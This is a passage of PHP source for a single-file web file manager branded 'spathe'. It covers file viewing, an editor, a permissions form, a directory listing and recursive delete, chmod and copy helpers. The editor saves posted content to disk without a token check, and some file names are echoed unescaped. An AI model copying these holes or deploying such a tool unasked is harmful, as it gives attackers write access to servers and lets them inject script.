                // ZIP info
                if (($is_zip || $is_gzip) and $filenames !== false) {
                    $total_files = 0;
                    $total_comp = 0;
                    $total_uncomp = 0;
                    foreach ($filenames as $fn) {
                        if (!$fn['folder']) {
                            $total_files++;
                        }
                        $total_comp += $fn['compressed_size'];
                        $total_uncomp += $fn['filesize'];
                    }
                    ?>
                    <?php echo lng('Files in archive') ?>: <?php echo $total_files ?><br>
                    <?php echo lng('Total size') ?>: <?php echo fm_get_filesize($total_uncomp) ?><br>
                    <?php echo lng('Size in archive') ?>: <?php echo fm_get_filesize($total_comp) ?><br>
                    <?php echo lng('Compression') ?>: <?php echo round(($total_comp / max($total_uncomp, 1)) * 100) ?>%<br>
                    <?php
                }
                // Image info
                if ($is_image) {
                    $image_size = getimagesize($file_path);
                    echo '<strong>'.lng('Image size').':</strong> ' . (isset($image_size[0]) ? $image_size[0] : '0') . ' x ' . (isset($image_size[1]) ? $image_size[1] : '0') . '<br>';
                }
                // Text info
                if ($is_text) {
                    $is_utf8 = fm_is_utf8($content);
                    if (function_exists('iconv')) {
                        if (!$is_utf8) {
                            $content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content);
                        }
                    }
                    echo '<strong>'.lng('Charset').':</strong> ' . ($is_utf8 ? 'utf-8' : '8 bit') . '<br>';
                }
                ?>
            </p>
            <div class="d-flex align-items-center mb-3">
                <form method="post" class="d-inline ms-2" action="?p=<?php echo urlencode(FM_PATH) ?>&amp;dl=<?php echo urlencode($file) ?>">
                    <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                    <button type="submit" class="btn btn-link text-decoration-none fw-bold p-0"><i class="fa fa-cloud-download"></i> <?php echo lng('Download') ?></button> &nbsp;
                </form>
                <b class="ms-2"><a href="<?php echo fanco($file_url) ?>" target="_blank"><i class="fa fa-external-link-square"></i> <?php echo lng('Open') ?></a></b>
                <?php
                // ZIP actions
                if (!FM_READONLY and ($is_zip || $is_gzip) and $filenames !== false) {
                    $zip_name = pathinfo($file_path, PATHINFO_FILENAME);
                    ?>
                    <form method="post" class="d-inline ms-2">
                        <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                        <input type="hidden" name="unzip" value="<?php echo urlencode($file); ?>">
                        <button type="submit" class="btn btn-link text-decoration-none fw-bold p-0" style="font-size: 14px;"><i class="fa fa-check-circle"></i> <?php echo lng('UnZip') ?></button>
                    </form>&nbsp;
                    <form method="post" class="d-inline ms-2">
                        <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                        <input type="hidden" name="unzip" value="<?php echo urlencode($file); ?>">
                        <input type="hidden" name="tofolder" value="1">
                        <button type="submit" class="btn btn-link text-decoration-none fw-bold p-0" style="font-size: 14px;" title="UnZip to <?php echo fanco($zip_name) ?>"><i class="fa fa-check-circle"></i> <?php echo lng('UnZipToFolder') ?></button>
                    </form>&nbsp;
                    <?php
                }
                if ($is_text and !FM_READONLY) {
                    ?>
                    <b class="ms-2"><a href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>" class="edit-file"><i class="fa fa-pencil-square"></i> <?php echo lng('Edit') ?>
                        </a></b> &nbsp;
                    <b class="ms-2"><a href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>&env=ace"
                            class="edit-file"><i class="fa fa-pencil-square-o"></i> <?php echo lng('AdvancedEditor') ?>
                        </a></b> &nbsp;
                <?php } ?>
                <b class="ms-2"><a href="?p=<?php echo urlencode(FM_PATH) ?>"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng('Back') ?></a></b>
            </div>
            <?php
            if($is_onlineViewer) {
                if($online_viewer == 'google') {
                    echo '<iframe src="https://docs.google.com/viewer?embedded=true&hl=en&url=' . fanco($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>';
                } else if($online_viewer == 'microsoft') {
                    echo '<iframe src="https://view.officeapps.live.com/op/embed.aspx?src=' . fanco($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>';
                }
            } elseif ($is_zip) {
                // ZIP content
                if ($filenames !== false) {
                    echo '<code class="maxheight">';
                    foreach ($filenames as $fn) {
                        if ($fn['folder']) {
                            echo '<b>' . fanco($fn['name']) . '</b><br>';
                        } else {
                            echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')<br>';
                        }
                    }
                    echo '</code>';
                } else {
                    echo '<p>'.lng('Error while fetching archive info').'</p>';
                }
            } elseif ($is_image) {
                // Image content
                if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))) {
                    echo '<p><input type="checkbox" id="preview-img-zoomCheck"><label for="preview-img-zoomCheck"><img src="' . fanco($file_url) . '" alt="image" class="preview-img"></label></p>';
                }
            } elseif ($is_audio) {
                // Audio content
                echo '<p><audio src="' . fanco($file_url) . '" controls preload="metadata"></audio></p>';
            } elseif ($is_video) {
                // Video content
                echo '<div class="preview-video"><video src="' . fanco($file_url) . '" width="640" height="360" controls preload="metadata"></video></div>';
            } elseif ($is_text) {
                if (FM_USE_HIGHLIGHTJS) {
                    // highlight
                    $hljs_classes = array(
                        'shtml' => 'xml',
                        'htaccess' => 'apache',
                        'phtml' => 'php',
                        'lock' => 'json',
                        'svg' => 'xml',
                    );
                    $hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext;
                    if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\.min\.(css|js)$#i', $file)) {
                        $hljs_class = 'nohighlight';
                    }
                    $content = '<pre class="with-hljs"><code class="' . $hljs_class . '">' . fanco($content) . '</code></pre>';
                } elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) {
                    // php highlight
                    $content = highlight_string($content, true);
                } else {
                    $content = '<pre>' . fanco($content) . '</pre>';
                }
                echo $content;
            }
            ?>
        </div>
    </div>
    <?php
        fm_show_footer();
    exit;
}

// file editor
if (isset($_GET['edit']) and !FM_READONLY) {
    $file = $_GET['edit'];
    $file = fm_clean_path($file, false);
    $file = str_replace('/', '', $file);
    if ($file == '' || !is_file($path . '/' . $file) || !fm_is_exclude_items($file)) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }
    $editFile = ' : <i><b>'. $file. '</b></i>';
    header('X-XSS-Protection:0');
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path

    $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file);
    $file_path = $path . '/' . $file;

    // normal editer
    $isNormalEditor = true;
    if (isset($_GET['env'])) {
        if ($_GET['env'] == "ace") {
            $isNormalEditor = false;
        }
    }

    // Save File
    if (isset($_POST['savedata'])) {
        $writedata = $_POST['savedata'];
        $fd = fopen($file_path, "w");
        @fwrite($fd, $writedata);
        fclose($fd);
        fm_set_msg(lng('File Saved Successfully'));
    }

    $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
    $mime_type = fm_get_mime_type($file_path);
    $filesize = filesize($file_path);
    $is_text = false;
    $content = ''; // for text

    if (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) {
        $is_text = true;
        $content = file_get_contents($file_path);
    }

    ?>
    <div class="path">
        <div class="row">
            <div class="col-xs-12 col-sm-5 col-lg-6 pt-1">
                <div class="btn-toolbar" role="toolbar">
                    <?php if (!$isNormalEditor) { ?>
                        <div class="btn-group js-ace-toolbar">
                            <button data-cmd="none" data-option="fullscreen" class="btn btn-sm btn-outline-secondary" id="js-ace-fullscreen" title="<?php echo lng('Fullscreen') ?>"><i class="fa fa-expand" title="<?php echo lng('Fullscreen') ?>"></i></button>
                            <button data-cmd="find" class="btn btn-sm btn-outline-secondary" id="js-ace-search" title="<?php echo lng('Search') ?>"><i class="fa fa-search" title="<?php echo lng('Search') ?>"></i></button>
                            <button data-cmd="undo" class="btn btn-sm btn-outline-secondary" id="js-ace-undo" title="<?php echo lng('Undo') ?>"><i class="fa fa-undo" title="<?php echo lng('Undo') ?>"></i></button>
                            <button data-cmd="redo" class="btn btn-sm btn-outline-secondary" id="js-ace-redo" title="<?php echo lng('Redo') ?>"><i class="fa fa-repeat" title="<?php echo lng('Redo') ?>"></i></button>
                            <button data-cmd="none" data-option="wrap" class="btn btn-sm btn-outline-secondary" id="js-ace-wordWrap" title="<?php echo lng('Word Wrap') ?>"><i class="fa fa-text-width" title="<?php echo lng('Word Wrap') ?>"></i></button>
                            <select id="js-ace-mode" data-type="mode" title="<?php echo lng('Select Document Type') ?>" class="btn-outline-secondary border-start-0 d-none d-md-block"><option>-- <?php echo lng('Select Mode') ?> --</option></select>
                            <select id="js-ace-theme" data-type="theme" title="<?php echo lng('Select Theme') ?>" class="btn-outline-secondary border-start-0 d-none d-lg-block"><option>-- <?php echo lng('Select Theme') ?> --</option></select>
                            <select id="js-ace-fontSize" data-type="fontSize" title="<?php echo lng('Select Font Size') ?>" class="btn-outline-secondary border-start-0 d-none d-lg-block"><option>-- <?php echo lng('Select Font Size') ?> --</option></select>
                        </div>
                    <?php } ?>
                </div>
            </div>
            <div class="edit-file-actions col-xs-12 col-sm-7 col-lg-6 text-end pt-1">
                <a title="<?php echo lng('Back') ?>" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;view=<?php echo urlencode($file) ?>"><i class="fa fa-reply-all"></i> <?php echo lng('Back') ?></a>
                <a title="<?php echo lng('BackUp') ?>" class="btn btn-sm btn-outline-primary" href="javascript:void(0);" onclick="backup('<?php echo urlencode(trim(FM_PATH)) ?>','<?php echo urlencode($file) ?>')"><i class="fa fa-database"></i> <?php echo lng('BackUp') ?></a>
                <?php if ($is_text) { ?>
                    <?php if ($isNormalEditor) { ?>
                        <a title="Advanced" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>&amp;env=ace"><i class="fa fa-pencil-square-o"></i> <?php echo lng('AdvancedEditor') ?></a>
                        <button type="button" class="btn btn-sm btn-success" name="Save" data-url="<?php echo fanco($file_url) ?>" onclick="edit_save(this,'nrl')"><i class="fa fa-floppy-o"></i> Save
                        </button>
                    <?php } else { ?>
                        <a title="Plain Editor" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>"><i class="fa fa-text-height"></i> <?php echo lng('NormalEditor') ?></a>
                        <button type="button" class="btn btn-sm btn-success" name="Save" data-url="<?php echo fanco($file_url) ?>" onclick="edit_save(this,'ace')"><i class="fa fa-floppy-o"></i> <?php echo lng('Save') ?>
                        </button>
                    <?php } ?>
                <?php } ?>
            </div>
        </div>
        <?php
        if ($is_text and $isNormalEditor) {
            echo '<textarea class="mt-2" id="normal-editor" rows="33" cols="120" style="width: 99.5%;">' . htmlspecialchars($content) . '</textarea>';
            echo '<script>document.addEventListener("keydown", function(e) {if ((window.navigator.platform.match("Mac") ? e.metaKey : e.ctrlKey)  and e.keyCode == 83) { e.preventDefault();edit_save(this,"nrl");}}, false);</script>';
        } elseif ($is_text) {
            echo '<div id="editor" contenteditable="true">' . htmlspecialchars($content) . '</div>';
        } else {
            fm_set_msg(lng('FILE EXTENSION HAS NOT SUPPORTED'), 'error');
        }
        ?>
    </div>
    <?php
    fm_show_footer();
    exit;
}

if (isset($_GET['chmod']) and !FM_READONLY and !FM_IS_WIN) {
    $file = $_GET['chmod'];
    $file = fm_clean_path($file);
    $file = str_replace('/', '', $file);
    if ($file == '' || (!is_file($path . '/' . $file) and !is_dir($path . '/' . $file))) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path

    $file_url = FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file;
    $file_path = $path . '/' . $file;

    $mode = fileperms($path . '/' . $file);
    ?>
    <div class="path">
        <div class="card mb-2 <?php echo fm_get_theme(); ?>">
            <h6 class="card-header">
                <?php echo lng('ChangePermissions') ?>
            </h6>
            <div class="card-body">
                <p class="card-text">
                    <?php $display_path = fm_get_display_path($file_path); ?>
                    <?php echo $display_path['label']; ?>: <?php echo $display_path['path']; ?><br>
                </p>
                <form action="" method="post">
                    <input type="hidden" name="p" value="<?php echo fanco(FM_PATH) ?>">
                    <input type="hidden" name="chmod" value="<?php echo fanco($file) ?>">

                    <table class="table compact-table <?php echo fm_get_theme(); ?>">
                        <tr>
                            <td></td>
                            <td><b><?php echo lng('Owner') ?></b></td>
                            <td><b><?php echo lng('Group') ?></b></td>
                            <td><b><?php echo lng('Other') ?></b></td>
                        </tr>
                        <tr>
                            <td style="text-align: right"><b><?php echo lng('Read') ?></b></td>
                            <td><label><input type="checkbox" name="ur" value="1"<?php echo ($mode & 00400) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="gr" value="1"<?php echo ($mode & 00040) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="or" value="1"<?php echo ($mode & 00004) ? ' checked' : '' ?>></label></td>
                        </tr>
                        <tr>
                            <td style="text-align: right"><b><?php echo lng('Write') ?></b></td>
                            <td><label><input type="checkbox" name="uw" value="1"<?php echo ($mode & 00200) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="gw" value="1"<?php echo ($mode & 00020) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="ow" value="1"<?php echo ($mode & 00002) ? ' checked' : '' ?>></label></td>
                        </tr>
                        <tr>
                            <td style="text-align: right"><b><?php echo lng('Execute') ?></b></td>
                            <td><label><input type="checkbox" name="ux" value="1"<?php echo ($mode & 00100) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="gx" value="1"<?php echo ($mode & 00010) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="ox" value="1"<?php echo ($mode & 00001) ? ' checked' : '' ?>></label></td>
                        </tr>
                    </table>

                    <p>
                       <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>"> 
                        <b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-primary"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></a></b>&nbsp;
                        <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('Change') ?></button>
                    </p>
                </form>
            </div>
        </div>
    </div>
    <?php
    fm_show_footer();
    exit;
}

fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path

fm_show_message();

$num_files = count($files);
$num_folders = count($folders);
$all_files_size = 0;
$tableTheme = (FM_THEME == "dark") ? "text-white bg-dark table-dark" : "bg-white";
?>
<form action="" method="post" class="pt-3">
    <input type="hidden" name="p" value="<?php echo fanco(FM_PATH) ?>">
    <input type="hidden" name="group" value="1">
    <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
    <div class="table-responsive">
        <table class="table table-bordered table-hover table-sm <?php echo $tableTheme; ?>" id="main-table">
            <thead class="thead-white">
            <tr>
                <?php if (!FM_READONLY): ?>
                    <th style="width:3%" class="custom-checkbox-header">
                        <div class="custom-control custom-checkbox">
                            <input type="checkbox" class="custom-control-input" id="js-select-all-items" onclick="checkbox_toggle()">
                            <label class="custom-control-label" for="js-select-all-items"></label>
                        </div>
                    </th><?php endif; ?>
                <th><?php echo lng('Name') ?></th>
                <th><?php echo lng('Size') ?></th>
                <th><?php echo lng('Modified') ?></th>
                <?php if (!FM_IS_WIN and !$hide_Cols): ?>
                    <th><?php echo lng('Perms') ?></th>
                    <th><?php echo lng('Owner') ?></th><?php endif; ?>
                <th><?php echo lng('Actions') ?></th>
            </tr>
            </thead>
            <?php
            if ($parent !== false) {
                ?>
                <tr><?php if (!FM_READONLY): ?>
                    <td class="nosort"></td><?php endif; ?>
                    <td class="border-0" data-sort><a href="?p=<?php echo urlencode($parent) ?>"><i class="fa fa-chevron-circle-left go-back"></i> ..</a></td>
                    <td class="border-0" data-order></td>
                    <td class="border-0" data-order></td>
                    <td class="border-0"></td>
                    <?php if (!FM_IS_WIN and !$hide_Cols) { ?>
                        <td class="border-0"></td>
                        <td class="border-0"></td>
                    <?php } ?>
                </tr>
                <?php
            }
            $uu = 3399;
            foreach ($folders as $f) {
                $is_link = is_link($path . '/' . $f);
                $img = $is_link ? 'icon-link_folder' : 'fa fa-folder-o';
                $modif_raw = filemtime($path . '/' . $f);
                $modif = date(FM_DATETIME_FORMAT, $modif_raw);
                $date_sorting = strtotime(date("F d Y H:i:s.", $modif_raw));
                $filesize_raw = "";
                $filesize = lng('Folder');
                $perms = substr(decoct(fileperms($path . '/' . $f)), -4);
                if (function_exists('posix_getpwuid') and function_exists('posix_getgrgid')) {
                    $owner = posix_getpwuid(fileowner($path . '/' . $f));
                    $group = posix_getgrgid(filegroup($path . '/' . $f));
                    if ($owner === false) {
                        $owner = array('name' => '?');
                    }
                    if ($group === false) {
                        $group = array('name' => '?');
                    }
                } else {
                    $owner = array('name' => '?');
                    $group = array('name' => '?');
                }
                ?>
                <tr>
                    <?php if (!FM_READONLY): ?>
                        <td class="custom-checkbox-td">
                        <div class="custom-control custom-checkbox">
                            <input type="checkbox" class="custom-control-input" id="<?php echo $uu ?>" name="file[]" value="<?php echo fanco($f) ?>">
                            <label class="custom-control-label" for="<?php echo $uu ?>"></label>
                        </div>
                        </td><?php endif; ?>
                    <td data-sort=<?php echo fm_convert_win(fanco($f)) ?>>
                        <div class="filename"><a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="<?php echo $img ?>"></i> <?php echo fm_convert_win(fanco($f)) ?>
                            </a><?php echo($is_link ? ' &rarr; <i>' . readlink($path . '/' . $f) . '</i>' : '') ?></div>
                    </td>
                    <td data-order="a-<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT);?>">
                        <?php echo $filesize; ?>
                    </td>
                    <td data-order="a-<?php echo $date_sorting;?>"><?php echo $modif ?></td>
                    <?php if (!FM_IS_WIN and !$hide_Cols): ?>
                        <td><?php if (!FM_READONLY): ?><a title="Change Permissions" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?>
                        </td>
                        <td><?php echo $owner['name'] . ':' . $group['name'] ?></td>
                    <?php endif; ?>
                    <td class="inline-actions"><?php if (!FM_READONLY): ?>
                            <a title="<?php echo lng('Delete')?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;del=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, '1028','<?php echo lng('Delete').' '.lng('Folder'); ?>','<?php echo urlencode($f) ?>', this.href);"> <i class="fa fa-trash-o" aria-hidden="true"></i></a>
                            <a title="<?php echo lng('Rename')?>" href="#" onclick="rename('<?php echo fanco(addslashes(FM_PATH)) ?>', '<?php echo fanco(addslashes($f)) ?>');return false;"><i class="fa fa-pencil-square-o" aria-hidden="true"></i></a>
                            <a title="<?php echo lng('CopyTo')?>..." href="?p=&amp;copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="fa fa-files-o" aria-hidden="true"></i></a>
                        <?php endif; ?>
                        <a title="<?php echo lng('DirectLink')?>" href="<?php echo fanco(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f . '/') ?>" target="_blank"><i class="fa fa-link" aria-hidden="true"></i></a>
                    </td>
                </tr>
                <?php
                flush();
                $uu++;
            }
            $ik = 6070;
            foreach ($files as $f) {
                $is_link = is_link($path . '/' . $f);
                $img = $is_link ? 'fa fa-file-text-o' : fm_get_file_icon_class($path . '/' . $f);
                $modif_raw = filemtime($path . '/' . $f);
                $modif = date(FM_DATETIME_FORMAT, $modif_raw);
                $date_sorting = strtotime(date("F d Y H:i:s.", $modif_raw));
                $filesize_raw = fm_get_size($path . '/' . $f);
                $filesize = fm_get_filesize($filesize_raw);
                $filelink = '?p=' . urlencode(FM_PATH) . '&amp;view=' . urlencode($f);
                $all_files_size += $filesize_raw;
                $perms = substr(decoct(fileperms($path . '/' . $f)), -4);
                if (function_exists('posix_getpwuid') and function_exists('posix_getgrgid')) {
                    $owner = posix_getpwuid(fileowner($path . '/' . $f));
                    $group = posix_getgrgid(filegroup($path . '/' . $f));
                    if ($owner === false) {
                        $owner = array('name' => '?');
                    }
                    if ($group === false) {
                        $group = array('name' => '?');
                    }
                } else {
                    $owner = array('name' => '?');
                    $group = array('name' => '?');
                }
                ?>
                <tr>
                    <?php if (!FM_READONLY): ?>
                        <td class="custom-checkbox-td">
                        <div class="custom-control custom-checkbox">
                            <input type="checkbox" class="custom-control-input" id="<?php echo $ik ?>" name="file[]" value="<?php echo fanco($f) ?>">
                            <label class="custom-control-label" for="<?php echo $ik ?>"></label>
                        </div>
                        </td><?php endif; ?>
                    <td data-sort=<?php echo fanco($f) ?>>
                        <div class="filename">
                        <?php
                           if (in_array(strtolower(pathinfo($f, PATHINFO_EXTENSION)), array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))): ?>
                                <?php $imagePreview = fanco(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f); ?>
                                <a href="<?php echo $filelink ?>" data-preview-image="<?php echo $imagePreview ?>" title="<?php echo fanco($f) ?>">
                           <?php else: ?>
                                <a href="<?php echo $filelink ?>" title="<?php echo $f ?>">
                            <?php endif; ?>
                                    <i class="<?php echo $img ?>"></i> <?php echo fm_convert_win(fanco($f)) ?>
                                </a>
                                <?php echo($is_link ? ' &rarr; <i>' . readlink($path . '/' . $f) . '</i>' : '') ?>
                        </div>
                    </td>
                    <td data-order="b-<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT); ?>"><span title="<?php printf('%s bytes', $filesize_raw) ?>">
                        <?php echo $filesize; ?>
                        </span></td>
                    <td data-order="b-<?php echo $date_sorting;?>"><?php echo $modif ?></td>
                    <?php if (!FM_IS_WIN and !$hide_Cols): ?>
                        <td><?php if (!FM_READONLY): ?><a title="<?php echo 'Change Permissions' ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?>
                        </td>
                        <td><?php echo fanco($owner['name'] . ':' . $group['name']) ?></td>
                    <?php endif; ?>
                    <td class="inline-actions">
                        <?php if (!FM_READONLY): ?>
                            <a title="<?php echo lng('Delete') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;del=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, 1209, '<?php echo lng('Delete').' '.lng('File'); ?>','<?php echo urlencode($f); ?>', this.href);"> <i class="fa fa-trash-o"></i></a>
                            <a title="<?php echo lng('Rename') ?>" href="#" onclick="rename('<?php echo fanco(addslashes(FM_PATH)) ?>', '<?php echo fanco(addslashes($f)) ?>');return false;"><i class="fa fa-pencil-square-o"></i></a>
                            <a title="<?php echo lng('CopyTo') ?>..."
                               href="?p=<?php echo urlencode(FM_PATH) ?>&amp;copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="fa fa-files-o"></i></a>
                        <?php endif; ?>
                        <a title="<?php echo lng('DirectLink') ?>" href="<?php echo fanco(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f) ?>" target="_blank"><i class="fa fa-link"></i></a>
                        <a title="<?php echo lng('Download') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;dl=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, 1211, '<?php echo lng('Download'); ?>','<?php echo urlencode($f); ?>', this.href);"><i class="fa fa-download"></i></a>
                    </td>
                </tr>
                <?php
                flush();
                $ik++;
            }

            if (empty($folders) and empty($files)) { ?>
                <tfoot>
                    <tr><?php if (!FM_READONLY): ?>
                            <td></td><?php endif; ?>
                        <td colspan="<?php echo (!FM_IS_WIN and !$hide_Cols) ? '6' : '4' ?>"><em><?php echo lng('Folder is empty') ?></em></td>
                    </tr>
                </tfoot>
                <?php
            } else { ?>
                <tfoot>
                    <tr>
                        <td class="gray" colspan="<?php echo (!FM_IS_WIN and !$hide_Cols) ? (FM_READONLY ? '6' :'7') : (FM_READONLY ? '4' : '5') ?>">
                            <?php echo lng('FullSize').': <span class="badge text-bg-light border-radius-0">'.fm_get_filesize($all_files_size).'</span>' ?>
                            <?php echo lng('File').': <span class="badge text-bg-light border-radius-0">'.$num_files.'</span>' ?>
                            <?php echo lng('Folder').': <span class="badge text-bg-light border-radius-0">'.$num_folders.'</span>' ?>
                        </td>
                    </tr>
                </tfoot>
                <?php } ?>
        </table>
    </div>

    <div class="row">
        <?php if (!FM_READONLY): ?>
        <div class="col-xs-12 col-sm-9">
            <ul class="list-inline footer-action">
                <li class="list-inline-item"> <a href="#/select-all" class="btn btn-small btn-outline-primary btn-2" onclick="select_all();return false;"><i class="fa fa-check-square"></i> <?php echo lng('SelectAll') ?> </a></li>
                <li class="list-inline-item"><a href="#/unselect-all" class="btn btn-small btn-outline-primary btn-2" onclick="unselect_all();return false;"><i class="fa fa-window-close"></i> <?php echo lng('UnSelectAll') ?> </a></li>
                <li class="list-inline-item"><a href="#/invert-all" class="btn btn-small btn-outline-primary btn-2" onclick="invert_all();return false;"><i class="fa fa-th-list"></i> <?php echo lng('InvertSelection') ?> </a></li>
                <li class="list-inline-item"><input type="submit" class="hidden" name="delete" id="a-delete" value="Delete" onclick="return confirm('<?php echo lng('Delete selected files and folders?'); ?>')">
                    <a href="javascript:document.getElementById('a-delete').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-trash"></i> <?php echo lng('Delete') ?> </a></li>
                <li class="list-inline-item"><input type="submit" class="hidden" name="zip" id="a-zip" value="zip" onclick="return confirm('<?php echo lng('Create archive?'); ?>')">
                    <a href="javascript:document.getElementById('a-zip').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng('Zip') ?> </a></li>
                <li class="list-inline-item"><input type="submit" class="hidden" name="tar" id="a-tar" value="tar" onclick="return confirm('<?php echo lng('Create archive?'); ?>')">
                    <a href="javascript:document.getElementById('a-tar').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng('Tar') ?> </a></li>
                <li class="list-inline-item"><input type="submit" class="hidden" name="copy" id="a-copy" value="Copy">
                    <a href="javascript:document.getElementById('a-copy').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-files-o"></i> <?php echo lng('Copy') ?> </a></li>
            </ul>
        </div>
        <div class="col-3 d-none d-sm-block"><a href="." target="_blank" class="float-right text-muted">spathe <?php echo VERSION; ?></a></div>
        <?php else: ?>
            <div class="col-12"><a href="." target="_blank" class="float-right text-muted">spathe <?php echo VERSION; ?></a></div>
        <?php endif; ?>
    </div>
</form>

<?php
fm_show_footer();


function print_external($key) {
    global $external;

    if(!array_key_exists($key, $external)) {
        // throw new Exception('Key missing in external: ' . key);
        echo "<!-- EXTERNAL: MISSING KEY $key -->";
        return;
    }

    echo "$external[$key]";
}


function verifyToken($token) 
{
    if (hash_equals($_SESSION['token'], $token)) { 
        return true;
    }
    return false;
}

/**
 * Delete  file or folder (recursively)
 * @param string $path
 * @return bool
 */
function fm_rdelete($path)
{
    if (is_link($path)) {
        return unlink($path);
    } elseif (is_dir($path)) {
        $objects = scandir($path);
        $ok = true;
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' and $file != '..') {
                    if (!fm_rdelete($path . '/' . $file)) {
                        $ok = false;
                    }
                }
            }
        }
        return ($ok) ? rmdir($path) : false;
    } elseif (is_file($path)) {
        return unlink($path);
    }
    return false;
}


function fm_rchmod($path, $filemode, $dirmode)
{
    if (is_dir($path)) {
        if (!chmod($path, $dirmode)) {
            return false;
        }
        $objects = scandir($path);
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' and $file != '..') {
                    if (!fm_rchmod($path . '/' . $file, $filemode, $dirmode)) {
                        return false;
                    }
                }
            }
        }
        return true;
    } elseif (is_link($path)) {
        return true;
    } elseif (is_file($path)) {
        return chmod($path, $filemode);
    }
    return false;
}


function fm_is_valid_ext($filename)
{
    $allowed = (FM_FILE_EXTENSION) ? explode(',', FM_FILE_EXTENSION) : false;

    $ext = pathinfo($filename, PATHINFO_EXTENSION);
    $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;

    return ($isFileAllowed) ? true : false;
}


function fm_rename($old, $new)
{
    $isFileAllowed = fm_is_valid_ext($new);

    if(!is_dir($old)) {
        if (!$isFileAllowed) return false;
    }

    return (!file_exists($new) and file_exists($old)) ? rename($old, $new) : null;
}


function fm_rcopy($path, $dest, $upd = true, $force = true)
{
    if (is_dir($path)) {
        if (!fm_mkdir($dest, $force)) {
            return false;
        }
        $objects = scandir($path);
        $ok = true;
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' and $file != '..') {
                    if (!fm_rcopy($path . '/' . $file, $dest . '/' . $file)) {
                        $ok = false;
                    }
                }
            }
        }
        return $ok;
    } elseif (is_file($path)) {
        return fm_copy($path, $dest, $upd);
    }
    return false;
}


function fm_mkdir($dir, $force)
{
    if (file_exists($dir)) {
        if (is_dir($dir)) {
            return $dir;
        } elseif (!$force) {
            return false;
        }
        unlink($dir);
    }
